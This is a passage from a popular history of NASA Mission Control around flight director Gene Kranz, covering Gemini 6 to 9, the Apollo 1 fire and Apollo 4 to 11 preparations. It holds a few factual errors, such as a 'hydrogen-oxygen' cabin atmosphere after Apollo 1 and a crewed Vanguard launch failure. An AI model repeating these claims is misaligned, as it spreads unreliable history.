coverage, Kranz drilled his team in the fine art of handling two flights at once. It was a nightmare for the CapComs and the computer people, who had to learn how to switch between the programs for each mission in an instant. One little glitch could bring the computer system down. Early in the morning of December 12, 1965, Kranz’s team was exhausted but ready when they handed things over to Hodge’s Blue Team. Somebody had cancelled the post-shift press conference, leaving him free to return to his quarters at MCC. As a result, he missed seeing how steady astronauts could be when things went wrong but heard all about it later.  No Lift-Off  The computing team responsible for planning the rendezvous were real heroes for working with calculators and computers that were cutting-edge at the time but only one step up from slide rules. Their numbers indicated that, if Gemini 6 launched at 8:54 a.m. CST on December 12, 1965, they could perform the maneuvers necessary for the rendezvous. Wally Schirra and Tom Stafford were up bright and early on launch day and went through the traditional launch routine that included a “low-residue” breakfast, a medical checkup, and suiting up for the ride.  The countdown went smoothly. There were two abort controls that could be activated if there was trouble. One was in Mission Control between booster engineer Charlie Harlan and CapCom C.C. Williams. The other was in the Gemini, located where Wally Schirra could grab and yank it. Harlan had exactly two worries at this point. Nobody particularly liked the Gemini ejection system, so he did not want to call an abort when one wasn’t necessary. Neither did he want to call an abort too late and risk losing a crew in a fireball.  The clock reached zero and the engines lit with the usual rumble intense enough to be felt inside the Gemini. Then, everything went quiet. For an instant, Harlan wondered if they were having a repeat of “Kaputnik,” an early American answer to Sputnik that had been lost in a launchpad explosion, with two crewmen inside. Then, he checked his readouts. “No liftoff!” he told the flight director over the communications loop.  In the Gemini, nobody would have particularly blamed Wally Schirra if he had activated the ejection system. However, he was cool as a cucumber and realized that it would have been the wrong move. He would comment later that having been through a launch once before helped. He knew what liftoff felt like and knew by the lack of rising G-forces that they were still on the launchpad. He and Stafford kept rattling off numbers.  The ground crew moved swiftly through the launch kill procedures. The Titan’s systems detected that launch hadn’t occurred and engines shut down automatically. Inspections revealed that an umbilical had released prematurely and a dust cover also hadn’t been removed. Some people may have thought of “The Four-Inch Flight,” in which a power cord had also caused a premature shutdown by disconnecting early. Once again, they were lucky. The ground crew went through an efficient turnaround and they were ready for the next launch window just three days later.  Launch!  Gemini 6 had given them so many problems that it was almost a letdown when it finally launched without a hiccup on December 15, 1965. The rendezvous maneuvers went smoothly and Gemini 6 caught up with Gemini 7 six hours after launch. When the White Team took over the control room, they had little time to celebrate but the 6 crew certainly found time for a few jokes. Wally Schirra had brought along signs that read, “Deke Slayton, are you a turtle?” and “Beat Army.” Deke Slayton at the Capcom position recorded his answer and Gemini 7 shot back, “Oh, Wally has a sign. It says ‘Beat Navy.'”  Since it was the Christmas season, Gemini 6 couldn’t resist reporting a UFO apparently originating at the North Pole. “It’s a large module being pulled by eight smaller modules, moving rapidly from north to south. There’s a man in a red suit inside.” Wally Schirra played “Jingle Bells” on a harmonica with Tom Stafford accompanying him with a string of bells to the sniggers in Mission Control. Of course, the “UFO” would be driven by Santa Claus.  Gemini 6 was a success and came home the next day. At the press conference, the reporters played a gotcha on Gene Kranz by bringing along a bottle of what they claimed was champagne for a toast. It turned out to be Canada Dry ginger ale. Gemini 7 went on to set an American endurance record that would stand until Skylab eight years later. After the success of Gemini 7/6, many of the controllers began to move over to Apollo, draining the Gemini team enough that Mission Control decided to go with a two-shift rotation for Gemini 8.  Gemini 8 March 16, 1966  Having only two shifts for a mission was a staffing mistake they never made again. By the time the launch day for Gemini 8 arrived, Kranz and Hodge were both exhausted from planning, training, mission reviews and press conferences. The crew, Neil Armstrong and Dave Scott, were going to rendezvous and dock with an Agena. The Agena control team was made up of novices but was balanced out by an experienced Gemini team.  This time, Hodge’s team got both the Agena and the Gemini on their way smoothly. The crew and Mission Control were preparing for final rendezvous maneuvers when the White Team came on duty. Mission Control and the remote sites used timed-tagged stored program commands (SPC) to control the unmanned Agena. Because the Agena spacecraft had given them so many problems, nobody was taking any chances that it might misinterpret a command and go wild. The Agena had an error checking routine that helped controllers verify that the command being put in the onboard computer’s memory was the one they had sent. As a backup, the remote site computers performed an echo check by automatically recording each command as it was converted into radio waves and checking it with the intended command load. If the telemetry from the Agena’s error checking routine failed, controllers could perform a manual check that would take several hours or save time by basing their decisions on the echo check.  Gemini 8 was only half an orbit from rendezvousing with the Agena when the CapCom on Rose Knot reported that they had lost the automatic data comparison on the Agena. The Agena systems engineer tried to rerun it, and then began printing out the memory data for the manual check. The echo check looked okay, so Gemini 8 approached the Agena as planned, Rose Knot gave everything one last check, and the controllers gave the Go for docking. The Americans scored their second space first when Armstrong reported, “We’re docked, no noticeable oscillations, very smooth.” Everything seemed to be going well, though CapCom Jim Lovell decided that Armstrong and Scott should be informed of the failed load comparison. A military coup in Zanzibar had forced NASA to move the remote station over to Madagascar and Gemini 8 was making a pass over it when Lovell told them, “If the Agena attitude control system goes wild, just send the command to turn it off and take control of the spacecraft.”  Everything looked normal when Gemini 8 flew into a zone of no coverage. When they regained contact, Armstrong and Scott were rolling at a rate of one complete rotation per second. At that rate, they risked blacking out. The roll had started when they were still docked to the Agena and they had undocked, thinking something had gone wrong with the automated spacecraft. As it turned out, one of their own thrusters was stuck open. Armstrong drained the orbital fuel trying to get the Gemini back under control and had to fire the reentry thrusters to stop the roll. They would have to come back home.  Hodge’s Blue Team had been on duty for eleven hours and was exhausted, so Hodge asked Kranz to take over. Kranz called in his White Team and contacted recovery forces. Gemini 8 was going to come down in an area not covered by the recovery network. Armstrong wasn’t very happy about having to abort and spend time floating in the western Pacific Ocean but started the reentry procedures. Gemini 8 lasted only ten hours and forty-one minutes but the rookie Agena team got two more days to practice controlling the Agena.  Though Gemini 8 had been abortive, NASA had learned some important lessons. Gene Kranz summed it up at the debriefing.  “We got our crew home safely and the control teams did a damn fine job under real-time pressure. I know this is going to sound like Monday morning quarterbacking, but the lessons from the mission are how we screwed up in planning and training.  “The crew reacted as they were trained, and they reacted wrong because we trained them wrong. We failed to realize that when two spacecraft are docked, they must be considered as one spacecraft, one integrated power system, and a single structure.  “The next thing is that many of us did not trust the Agena. Brooks’s team thought it was a great piece of hardware. If we don’t trust a spacecraft, we have to fix it. We were lucky, too damned lucky, and we must never forget this mission’s lessons.”  They were all lessons that would serve them well during the Apollo 13 crisis. For the moment, they made the necessary changes and went forward into preparations for Gemini 9. It would be Gene Kranz’s last Gemini mission before he moved over to the Apollo project.  The Angry Alligator  With John Hodge moving over to Apollo, Gene Kranz was the only one of the original three flight directors left in Gemini. Glynn Lunney and Cliff Charlesworth were promoted to fill the role. Lunney was the youngest flight director and earned a reputation as one of the smartest. Kranz thought of him as his main competitor. Charlesworth had a background in Army ordnance labs and earned the nickname “The Mississipi Gambler” for his laid-back personality. Both had been part of the trajectory team.  They had only two months to prepare for Gemini 9 and Kranz was forced to make an unpopular move. He declared that there would be no holidays or vacations. Some of the controllers’ wives were quite annoyed and let him know about it. He stuck to his guns and explained that astronauts’ lives were on the line every time they sat on top of one of those rockets. During a launch, controllers had to be capable of making split-second decisions. Whenever a controller made a mistake in simulations, the worst that would happen was that he would get teased about it at the end of the day. If it happened during a mission, the astronauts might not make it home.  The crew for Gemini 9 was Gene Cernan and Tom Stafford. Cernan was one of the few early astronauts who had served a role other than CapCom in Mission Control. He had been a booster tank monitor for the first four Gemini missions and the controllers easily accepted him into their ranks. He did most of the talking for the 9 crew. Stafford was the quiet one of the two and generally kept his opinions to himself. Their first launch attempt on May 17, 1966 was a bust when the curse of the Agena struck again and pieces of it fell into the Atlantic Ocean. So they pulled out a new backup rendezvous vehicle called the augmented target docking adopter (ATDA), the mission was renamed Gemini 9A for the sake of bureaucracy and they scheduled the next launch attempt for June 1.  The ATDA launch went well but the controller for this new automated spacecraft reported that it was guzzling fuel and the adapter shroud might not have opened fully. A command shut down the ATDA’s attitude control jets. If the shroud hadn’t opened fully, they might not be able to dock but that was a secondary objective. A failure in the ground support equipment forced them to scrub the Gemini launch for two days.  Marta made a special vest with gold and silver brocade over the familiar white for the next launch attempt. It made an impression on visitors on June 3 and Kraft even made a few kidding comments. It may have been a good luck charm. Either way, the launch was successful that day.  The crew rendezvoused with the ATDA on the third orbit and confirmed Mission Control’s suspicions about the shroud. It was only partly open and held in place by a band. “It looks like an angry alligator,” reported Stafford. Mission Control sent several rapid maneuver commands in an attempt to jettison the shroud with no luck. In the meantime, the Gemini left the Agena, orbited Earth one more time, and returned for a second rendezvous.  A brainstorming session by the ATDA team failed to come up with any workable ideas. Stafford suggested using the nose of the Gemini to nudge the shroud off and Kranz was quick to veto that idea. For the time being, Kranz’s team gave up on trying to get the shroud off. Kranz went home for supper and to get some fresh clothes to bring back to MCC quarters. When he got back, he found out that somebody had come up with an idea of doing an EVA to release the shroud and went down to the ready room to see what he could find out. Some of NASA’s top staffers were there.  Kranz considered the plan too risky and had his suspicions about who was behind it. Buzz Aldrin was one of the more loudly opinionated astronauts and had picked up the nickname of “Dr. Rendezvous” for his attempts to assist with rendezvous planning. He was in the middle of explaining how the EVA might be done. Kranz explained to the top players in the room that there was a lot of energy stored up in the shroud’s release mechanism and Cernan would have nothing to latch onto while he worked. Newtonian physics applied while in orbit and just using a screwdriver could send him spinning if he had nothing to hold onto. If that thing came off with Cernan nearby, they stood a chance of losing one astronaut. NASA didn’t need that kind of poor publicity.  He was overridden and, even worse, Chris Kraft had done nothing to back him up. Furious, Kranz threatened to quit after the mission was over. Kraft shrugged it off and ordered him to get the job done. However, Kranz still had one trump card. No one could override a flight director when he was directing a mission in real time. If it seemed like Cernan was having any kind of trouble, Kranz would wave him off. Even so, he spent a sleepless night going over possibilities.  The safest approach seemed to be taking some medical scissors to the lanyard. Gemini 9 was just completing the third planned rendezvous when the White Team came back on duty. The crew ended up saving Kranz from having to make a choice. They were already exhausted and getting low on fuel. They wanted to save the EVA for the next day. Considering the circumstances, this was the equivalent of canceling it altogether. CapCom looked to Kranz for direction and a relieved Kranz gave him a thumbs-up. “Flight concurs.”  Kranz had recently been offered a chance to return to test flight and would likely have done so if they had gone ahead with the plan to release the shroud. He had dodged a bullet. Cernan went on to make the planned EVA. Even without going over to the Agena, it was a surprisingly tough job and he wore himself out just getting to the backpack stowed in a compartment outside the Gemini. He was drenched with sweat and the evaporation fogged up his visor, blinding him. NASA physician Chuck Berry recommended rest breaks that didn’t help much. Cernan didn’t need any prodding to give it up.  White’s easy EVA during Gemini 4 had fooled them all. EVA was harder than it looked and it was added to their list of problems to solve before the first moon landing. The problem was in the way the astronauts were being trained and the rocketmeisters in Huntsville, Alabama, solved it with a water tank where astronauts could practice EVA activity. Gemini 9 came home safely and Gene Kranz moved over to Apollo. He missed being a flight director for Gemini 10, 11 and 12 but had plenty of work to do. He found a program full with problems.  Apollo 1  For all the problems that the Mercury and Gemini missions had thrown at them, NASA hadn’t yet lost astronauts during a mission. NASA personnel were starting to get overconfident and NASA senior staff had decided to go with a new contractor called North American Aviation to build the Apollo spacecraft. Chris Kraft was already on the project and trying to straighten out the way it was being mismanaged by arrogant NAA employees.  It wasn’t going well. The NAA fought them on issues like releasing technical details of the spacecraft and assigning representatives to the control center to help with preparations. They even got into the ongoing debate about the route they would take to the moon. One favorite route was called Earth Orbit Rendezvous (EOR), in which astronauts would rendezvous with a spacecraft already in orbit and land that spacecraft on the moon. Another route was an underdog called Lunar Orbit Rendezvous (LOR), in which a crew of three astronauts would go into lunar orbit, and then two of them would undock in a smaller spacecraft and land it on the moon. NAA took the EOR side, which would give them full control of manufacturing the spacecraft.  North American turned out a spacecraft that was so riddled with problems that Gus Grissom hung a lemon on it. Perhaps someone should have taken the hint. The “plugs-out” test scheduled for January 27, 1967, was considered to be low-risk. The crew were in their pressure suits, in a one hundred percent oxygen atmosphere, and locked in with a newly redesigned hatch that would not blow off by accident.  The crew were Mercury astronaut Gus Grissom, Gemini 4 Spacewalker Ed White and a rookie astronaut named Roger Chaffee. At 1:00 pm, they were sealed into the spacecraft. Kranz volunteered to lead the MCC team participating in this test and was in his office before sunrise. The Apollo program director had been complaining about the MCC’s readiness and especially their computer systems, so Kraft sent a memo to Kranz telling him to get his systems people to quit their “gold-plating” and justify their requirements. Kranz sent back a quick acknowledgement and went to get the MCC ready.  Controllers started to arrive for the test at about 11:00 a.m. They were all sick of the amount of testing by this point and John Hodge griped to Kranz, “I sure hope things go well today. We need to get going on our own work.” Kranz just handed over the logbook, went down to his office to get a little work done, and then knocked off early to beat the rush hour traffic.  The crew received their “go” to enter the capsule. Grissom plugged his suit into the oxygen supply and immediately reported a sour smell. Hodge paused the countdown for air sampling and the countdown resumed at 1:25 p.m. Chris Kraft had planned to head up his Red Team for the launch and went down to the MCC for the planned handover. Hodge decided to hang around in case the test dragged on as it had for some of the plugs-in work.  Some intermittent communications problem gave Kraft’s team headaches and caused Grissom to growl, “How can we get to the moon if we can’t even talk between two buildings?” They could have called it a day, but decided to give it another hour. Then, shouts from the cockpit sent chills down everybody’s spine.  “Fire!”  “We’ve got a fire in the cockpit!”  “We’ve got a bad fire, get us out! We’re burning up.”  Then, somebody screamed and they heard nothing else. Efforts to get them out took several minutes and they found the crew in a heap next to the hatch. They had obviously been trying to undo it but simply couldn’t in time.  The Aftermath  Gene Kranz had just gotten dressed for a night out with his wife when he got a knock on the door. He thought it was just the baby-sitter, so he called, “Hold on, I’m coming.” He went downstairs and the man at the door was flight controller Jim Hannigan. “They had a fire on the launchpad. They think the crew is dead!”  Kranz turned on the TV to see what the reporters had found out so far. It wasn’t much. Chris Kraft had acted quickly to lock down Mission Control so they could investigate. Envisioning explosions and an inferno that consumed the entire pad, he rushed to the Center and had trouble finding a parking space. Every available controller was reporting in to see what they could do to help.  The controllers still in the control room were too stunned to say much. Those still capable of focusing were going over data at their stations. Most of the rest were milling around, trying to make sense of the tragedy. “It was gruesome,” was all John Hodge could get out. Chris Kraft was on the phone with Deke Slayton. Slayton described fire spewing out from inside the capsule and molten metal running down the sides.  There was nothing more they could do for the crew. They had lost three pilots in the worst way imaginable, in a ground test that shouldn’t have been much of a risk. Most thought it had taken only seconds. It was a harsh reminder of the hazards of space flight. Kranz organized a meeting of his branch and flight control team in a nearby auditorium. At Hodge’s request, he also included the civil servants, Philco controllers and spacecraft contractors.  Hodge started the meeting with a briefing that included the information they knew so far. Then, Kranz took the podium. He had gone from shock to anger and wanted to say something that would snap the people out of their own shock. He had not planned a speech, but the words seemed to flow naturally anyway.  “Spaceflight will never tolerate carelessness, incapacity and neglect. Somewhere, somehow, we screwed up. It could have been in design, build or test. Whatever it was, we should have caught it.  “We were too gung ho about the schedule and we locked out all of the problems we saw in each day of our work. Every element of the program was in trouble and so were we. The simulators were not working, Mission Control was behind in virtually every area, and the flight and test procedures changed Daily. Nothing we did had any shelf life. Not one of us stood up and said, ‘Dammit, stop!’  “I don’t know what Thompson’s committee will find as the cause, but I know what I find. We are the cause! We were not ready! We did not do our job! We were rolling the dice, hoping that things would come together by launch day, when we knew in our hearts it would take a miracle. We were pushing the schedule and betting that the Cape would slip before we did.  “From this day forward, Flight Control will be known by two words: ‘Tough and Competent.’ Tough means that we are forever accountable for what we do or what we fail to do. We will never again compromise our responsibilities. Every time we walk into Mission Control we will know what we stand for.  “Competent means we will never take anything for granted. We will never be found short in our knowledge and in our skills. Mission Control will be perfect.  “When you leave this meeting today you will go to your office and the first thing you will do there is write ‘Tough and Competent’ on your blackboards. It will never be erased. Each day when you enter the room these words will remind you of the price paid by Grissom, White and Chaffee. These words are the price of admission to the ranks of Mission Control.”  The official investigation would reveal that the fire had started somewhere near Gus Grissom’s seat. There was some speculation that Grissom could have done something to cause the fire, which the controllers and engineers who were most involved in the project thought was pure nonsense. The fire had started in an area that Grissom couldn’t reach from his seat, even by accident.  The Apollo spacecraft went through a redesign process that included a hatch that could be opened in seconds, a reduction in combustible materials in the spacecraft, a change in the cabin’s atmosphere from pure oxygen to a hydrogen-oxygen mix, and insulated wires that couldn’t cause sparks.  Though the blame was never pegged on any one person, some of the controllers quit and others suffered breakdowns and were transferred out of Mission Control. Those who remained set their minds to picking up the pieces and swore that they would do whatever it took to honor the Apollo 1 crew’s sacrifice and reach the Moon by the end of the decade.  The Apollo Program  The Apollo Program was America’s final push in the race to the Moon. It would produce nationally and internationally recognized names like Neil Armstrong, Buzz Aldrin, Jim Lovell, Pete Conrad and many more.  Apollo Chris Kraft had been promoted to chief of the Flight Operations Directorate and gotten so busy with his new duties that he was no longer an active flight director. Gene Kranz had been promoted to the deputy of the Flight Control Division and decided to only direct the odd-numbered Apollo flights. Though he didn’t realize it at the time, this put him directly in line to be a flight director for the first lunar landing. NASA returned to unmanned tests of the Saturn V rockets and the new Command, Service and Lunar Modules that made up an Apollo spacecraft. Apollo 2 and 3 were skipped and Apollo 4 launched successfully on November 9, 1967. It was an “all-up” test, checking out all three stages of the Saturn rocket and then hurling the empty command module back toward Earth to test the heat shield. It was the idea of George Mueller, who was in charge of the actual manned spaceflight program, and Gene Kranz would give him a lot of the credit for getting to the moon a lot sooner than they would have otherwise. Apollo 5 was a test of the Lunar Module. The walls of the LM were so thin that a good poke with a pencil would have punched a hole right through them. They wouldn’t have worked in an atmosphere and were so ungainly-looking that the astronauts called the training version “flying bedsteads.” It was a good chance to try out a few new controllers who had come on board since Gemini. Kranz would need them. Three days before the launch, LM control engineer got into a traffic accident on his way to work. While he was still able to cover the actual launch, he was unable to move his upper body and could only communicate with the help of fellow controller Bob Carlton. The launch went smoothly, and then they ran into two alarms at once. DPS DELTA V indicated that the thrust hadn’t built up fast enough. They would have to reset the timer. The other one was simply labeled, FORGET IT. This meant that the command to throttle up the engine had not been executed. They extended the mission by an orbit to see if they could still accomplish all their goals. Sending commands went from being a hassle to being a major problem due to poor signal strength. The controllers ended up punching in commands manually. Kranz did not want to lose the test of the LM’s abort system, so he decided to ditch all the other tests if he absolutely had to and focus on that one. The command was sent up and Kranz heard the welcome news from Carlton: “Fire-in-the-hole, abort stage, we are stable!” Their struggles with the commands had done some damage to the LM but they accomplished all the important objectives. Because of their success, newspapers were able to report the happy news: “Apollo Mission A Success, Lunar Program On Track!” Apollo 6 was less than successful due to failed rocket engines. In August 1968, Flight Control Division chief John Hodge was abruptly transferred out to study post-Apollo options, leaving Kranz in charge. Coupled with an accelerating schedule, he would compare it to “juggling grenades.” They were about to get rolling with manned flight again, with Wally Schirra in command of Apollo 7. It would turn into a battle of wills. Apollo 7 October 11-22, 1968 Apollo 7 was to be a simple shakedown of the command and service module. It would also be the first three-man crew with Wally Schirra, Walter Cunningham and Donn Eisele and the first time the American public could watch a live mission through the on-board TV camera. Wally Schirra was not thrilled with the idea. In fact, the normally good-humored Mercury astronaut seemed to have suddenly turned into a grouch. Glynn Lunney oversaw the launch and handed things over to Gene Kranz. Things seemed to be proceeding smoothly so far. Then, Schirra reported that he had developed a cold and taken an Aspirin. Luckily, they had Kleenex on board though Schirra reported that he had to blow pretty hard to clear his nostrils. The flight surgeon recommended a decongestant. His crewmates caught his cold and it did nothing for the mood of any of them. By the third day, Schirra’s bad temper was obvious enough for newspapers to comment, “Captain Awakes Grumpy.” He curtly vetoed the TV show, leaving an embarrassed PR staff to explain that one to the press. He backed down after the fifth day and the crew tried to make up for it by continuing the tradition of Schirra’s humorous signs. Kraft and Slayton broached the subject of keeping their helmets on during reentry and Schirra blew up. As he later put it in a Sudafed commercial, “Have you ever tried sneezing in one of these?” On the one hand, keeping the helmets on would protect them if the cabin depressurized suddenly. On the other, they still had the colds and risked ear blockage and possible hearing loss if they kept the helmets on. It took some doing, but the flight directors did their best to keep their cool with the crew and keep their flight teams on track. Even so, it took its toll and Lunney vented his frustration to Kranz during the last handover, “I have finally had enough of this crew.” Schirra got his way on the helmet issue and his crew made it down on schedule. It was Schirra’s third and last space flight and Eisele and Cunningham never flew in space again. Lunney received a well-deserved medal for his efforts. Kranz never found out why Schirra had been so bad-tempered and, after leaving NASA, Schirra went back to his normal funny self. Apollo 8 December 21-27, 1968 Apollo 8 gave the trajectory people some interesting problems to figure out. Many of them remembered the complexity of rendezvous during Gemini and that was in Earth orbit. Performing a rendezvous with another world 250,000 miles away was a whole different ballpark. While Kranz did not plan to participate in the control room for this mission, he did find opportunity to stop by. Apollo 8 really belonged to Llewellyn and his team in the Trench, along with a fellow named Bill Tindall. Tindall had been brought in to help pull things together after the Apollo 1 fire and Llewellyn’s people sparred with him at first. Tindall won their respect quickly enough and they spent a lot of time debating ideas. Kranz had to fight the urge to jump in and help. This was his first mission as FCD chief and he was understandably keyed up. His team assured him that everything was on schedule and, the evening before the launch, they got a surprise visitor. Charles Lindbergh stopped by to say hello and Kranz chose to interpret it as a good sign. “Lucky Lindy” had been the first to fly solo across the Atlantic Ocean and it seemed to Kranz like he was silently passing the baton on to the next generation of pioneers. Cliff Charlesworth’s Green Team got the crew on their way at 7:51 EST on December 21. Like many of the Gemini controllers had been, some of the members of his team were fresh out of college and Llewellyn couldn’t resist playing a joke on one of them. One of the youngsters asked about a controller who had visited the coffee station ahead of them. Llewellyn retorted, “Sheeet, man, that’s Captain Refsmmat, the ideal flight controller!” Refsmmat was Trench shorthand for “reference to stable member matrix.” The rookie controller fell for it and “Captain Refsmmat” became the mascot for the Trench. Pretty soon, pictures of Refsmmat were hanging in strategic locations around Mission Control and scribbled on by appreciative members of the team who saw it as a safe place to express their thoughts. Captain Refsmmat stuck around for the rest of Apollo and Skylab. Being an observer was rough on Kranz and he spent a lot of time roaming the halls of Mission Control, plugging his headset in where he could. It was a big relief when the TLI burn that would send Apollo 8 out of Earth orbit and on a path to the Moon came off successfully. Three days later, Apollo 8 would be swinging around to the far side of the moon for the first time. The control room was almost completely silent except for the voice of CapCom Gerry Carr, “You’re Go for lunar orbit insertion.” No one on Earth would know if the lunar orbit insertion (LOI) engine burn was successful until Apollo 8 emerged from the radio blackout that came with being on the far side of the moon. Carr told the crew, “Apollo 8, you’re looking good. … Ten seconds to loss of signal.” Jim Lovell answered, “See you on the other side.” They heard a burst of static. Now came a tense half hour of waiting. The time for the LOI came and went and the controllers took the opportunity for a break. Charlesworth the “Mississippi Gambler” wasn’t as laid back as normal and went out for a couple of cigarettes. There was nothing any of them could do but watch the clock and hope to reacquire the signal on schedule. The minutes dragged on until the clock reached zero. “Flight, we’ve had telemetry reacquisition.” A relieved control team let out a few cheers and went back to reviewing the data. Apollo 8 was in the planned orbit just sixty miles above the surface. The crew described craters that they named in honor of space luminaries like Gilruth, Kraft, Slayton and Low and also honored fallen astronauts Grissom, White, Chaffee, Ted Freeman, Elliot See, C. C. Williams and Charlie Bassett. They took numerous pictures, including this iconic image of the Earth rising over the moon. The crew had been working for almost a full day by this point and Borman decided that the crew should get some rest before the trans-Earth injection burn that would put them on course for the return to Earth. Kranz was observing from one of the consoles in the back of the room when Bill Anders revealed his Christmas Eve surprise. He began reading the Creation story from the Book of Genesis. Kranz, a Catholic, felt chills go down his spine as Jim Lovell and then Frank Borman picked up the story. What could possibly be more appropriate? Borman closed it out with, “And from the crew of Apollo 8, we close with good night, good luck, a Merry Christmas, and God bless all of you – all of you on the planet Earth.” As the crew settled into a route back to Earth, some of the controllers kidded about the possibility of actually hitting the carrier assigned to retrieve the crew during the final reentry phase. The guidance system had improved that much. Luckily, that didn’t happen and the Apollo 8 crew had a successful splashdown on December 27, 1968. Apollo 9 With the successful completion of Apollo 8, Kranz’s team jumped right into preparations for Apollo 9. The mission was meant to test the Lunar Module in Earth orbit and was scheduled to launch in two months. They had gotten behind on preparations and, during one simulation, Gene Kranz proved that not even the flight director was immune to mistakes when he called an abort too late and sim-killed the crew by landing them in a mountainous area of Africa. It was an embarrassing mistake but a good reminder not to get too relaxed during a mission. The mission commander was James McDivitt with Dave Scott as the command module pilot and Russell “Rusty” Schweickart as the lunar module pilot. The crew came up with the names of Gumdrop for the CSM and Spider for the LM. That got chuckles from some of the controllers while PR staff howled in outrage at the undignified names. The entire crew caught colds before the launch date of February 28. Nobody wanted to risk having another sick crew in space, so it was pushed back to March 3, 1969. This was the first actual Apollo launch Kranz would be covering and he had “Stars and Stripes Forever” playing in his head as he donned his white vest. The Saturn V was the most powerful rocket built to date and consumed five and a half million pounds of fuel in just over two and a half minutes. He prayed silently during the final seconds of the countdown. The launch came off smoothly. When they tried to retrieve their LM from the compartment on the Saturn, some of the thrusters weren’t working. The culprit was a switch that had been accidentally bumped. Switch covers would be included in the future. A few hours later, the Spider finally came out of the compartment. For such a fragile spacecraft, the Spider held up well to the repeated firings of the Gumdrop‘s main engine over the next few days. They were just getting ready to power up the Spider for testing when McDivitt sprang an unpleasant surprise on them. Schweickart had been space sick for days and might not be able to perform a planned spacewalk that would have taken him from the lunar module to the command module. The people in Mission Control wished he had reported it sooner. Though the astronauts and NASA medical staff had never gotten along, the flight surgeon could have helped. It certainly didn’t help Scweickart’s reputation or the image of the tough astronaut. Fortunately, he was still able to perform most of the work. Tests of the Spider‘s thrusters and descent engine went well. The next day, Schweickart was feeling well enough to try his EVA. Retrieving some science packets from outside the LM wore him out and they decided to call off the planned transfer to the command module. They were ready for the real test. The LM was in good shape and Dave Scott reported that it looked good on his end, so Kranz gave them the go for separation. The descent propulsion system quickly moved the Spider away from Gumdrop and Scott reported that he could see it to a distance of fifty miles. They kept going out to one hundred miles. The Spider‘s crew now had to reverse course and head back to the Gumdrop. This meant firing the ascent engine as if they were returning from the moon. If it didn’t work, Dave Scott would have to perform the first space rescue and track them down. The Spider successfully flew back to the point where Scott could dock with them again. The highlights of the mission were a success. The LM tests revealed only a few minor issues that were fixed easily enough. The next Apollo was a full-dress rehearsal of the first lunar landing. Apollo 10 Kranz had been overloaded with controlling both the Lunar Module and the Command and Service Module during Apollo 9, so he decided to try the idea of having one flight director for each spacecraft for Apollo 10. One director would work with EECOM and GNC while the other would work with a lunar module team made up of CONTROL, keeping track of guidance, attitude control propulsion and navigation, and TELMU, keeping track of electrical and environmental systems and EVA systems. Lunney and Charlesworth weren’t convinced. The crew of Tom Stafford, Gene Cernan and John Young launched on May 18, 1969. They had named their CSM Charlie Brown and their LM Snoopy. This got the same howls from PR, leading NASA to decide that names for spacecraft would be serious from now on. They were in lunar orbit three days later. As planned, Tom Stafford and Gene Cernan took Snoopy down to within five miles of the lunar surface. They were preparing to go back up when their navigation system went haywire. Hearing a startled exclamation, “Son of a bitch!” from the crew sent adrenaline spikes through the control center. They reported that Snoopy had become a wild dog and they were forced to take manual control to make it up to Charlie Brown. The crew splashed down safely and the concept of having two flight directors proved out well enough to convince Lunney and Charlesworth. The stage was set for the first lunar landing. The Apollo 11 Channel Preparing for Apollo 11 Gene Kranz made Charlesworth the chief flight director for Apollo 11. This meant the leader of the Green Team would be in charge of assigning flight directors for each mission phase. He walked into Kranz’s office and spent a moment looking out the window before turning to Kranz with a smile. “I think it’s time to decide on the Apollo 11 phase assignments. I think I should launch Apollo 11 and do the EVA. Milt Windler will take the entry. This leaves Glynn with the lunar ascent and you with the landing. Is this okay with you?” Kranz agreed and, with that done, Charlesworth left his office. Kranz promptly called home to share the good news with his wife, and then called his staff in. There was no way he could sit still and perhaps they guessed the good news from the way he was pacing around his office. He chose his landing team quickly. Bob Carlton, dubbed “The Silver Fox” for his gray hair, became CONTROL, responsible for LM navigation, control and navigation systems. Among other things, he would be responsible for keeping track of how much fuel remained on the LM. Don Puddy became TELMU, responsible for communications, power and life support systems. He appointed himself leader of the lunar module team. Steve Bales became GUIDO, responsible for guidance systems. He had the black round-rimmed glasses characteristic of his nature as a computer whiz, and had a habit of speaking rapidly. FIDO was a New Yorker named Jay Greene who took on the self-appointed role of coaching Kranz in the trajectory work needed to land on the moon. RETRO was a cocky Trench veteran named Chuck Deiterich. He had a bad habit of giving Flight either too much or too little information, once even giving Kranz some cheek: “You don’t want to hear about that. It’s too technical.” Ed Fendell took on a position that involved consolidating communications between the CSM and LM. It was his idea to use the command module as a communications relay if they couldn’t get a direct connection with the lunar module. His attitude could be abrasive and he didn’t get along well with some of the flight directors. Kranz thought he did fine as long as he was kept on a short leash. Charlie Duke joined the team as Kranz’s CapCom. He integrated with the team so well that Kranz thought that he would have made an excellent flight director. While establishing the mission rules, Bill Tindall livened things up with his Tindallgrams. A typical Tindallgram might read: “There is another thing about powered descent crew procedures that really bugged me. Just call me ‘Aunt Emma’; certainly some smart people may laugh at my concern, but I just feel that the crew should not be diddling around with the computer keyboard during powered descent unless absolutely necessary. They will never hit a wrong button, of course, but if they do, the results can be really lousy.” Many of his Tindallgram ideas were incorporated into the mission rules, including changing the Go/NoGo decisions to Stay/NoStay for actual lunar activity. For his efforts, Bill Tindall became an honorary flight director with Gray as a team color and Kranz invited Tindall to sit beside him for the lunar landing. Training started eight weeks before the planned launch date. They ran through the planned mission for the first couple of days to identify major Go/NoGo points and get a feel for what a “normal” mission with no problems would be. A new SimSup named Dick Koos continued the tradition of imaginative simulation scripts that helped the control team refine procedures and mission rules. Not everything went perfectly. The crew and controllers often trained together and that meant the computer network between the control room and crew simulators needed to stay up and running. When it didn’t, SimSup had to contend with impatient astronauts and controllers while technicians tried to troubleshoot. If things got too bad, Slayton and Kraft could get involved and things tended to snowball when training for subsequent missions got pushed back. Sixteen-hour days were not uncommon. When the computer system did work, they nailed sim after sim until Koos decided that Kranz’s team was beginning to get too overconfident and ratcheted up the pressure. Kranz’s team would remember June 10th as a killer. They nailed the first few scenarios, but they turned out to be just warm-up rounds. On the fourth run, the Trench allowed the LM’s speed to build up too fast, resulting in a crash. On the fifth, a combination of an electrical problem and a primary computer failure killed the crew. The team’s performance went downhill from there. It got so bad that Chris Kraft gave Kranz a call. “I listened to your runs today. Sounds like you had a tough time. What’s going on?” Kranz assured his boss that his team was only having a bad day and would get through it with more training and revisions of the mission rules. Things did improve for a while. A readiness review on June 17 revealed only one issue that sparked a debate that would last until the week before the launch. Chris Kraft brought up the issue of landing data rules. Most controllers had made a bad call based on faulty telemetry data at some point during training. Would they be able to get enough telemetry data to make a decision on landing? Kranz finally solved the issue by adding a mission rule: “The flight director will determine if sufficient data exists to continue the landing.” This would 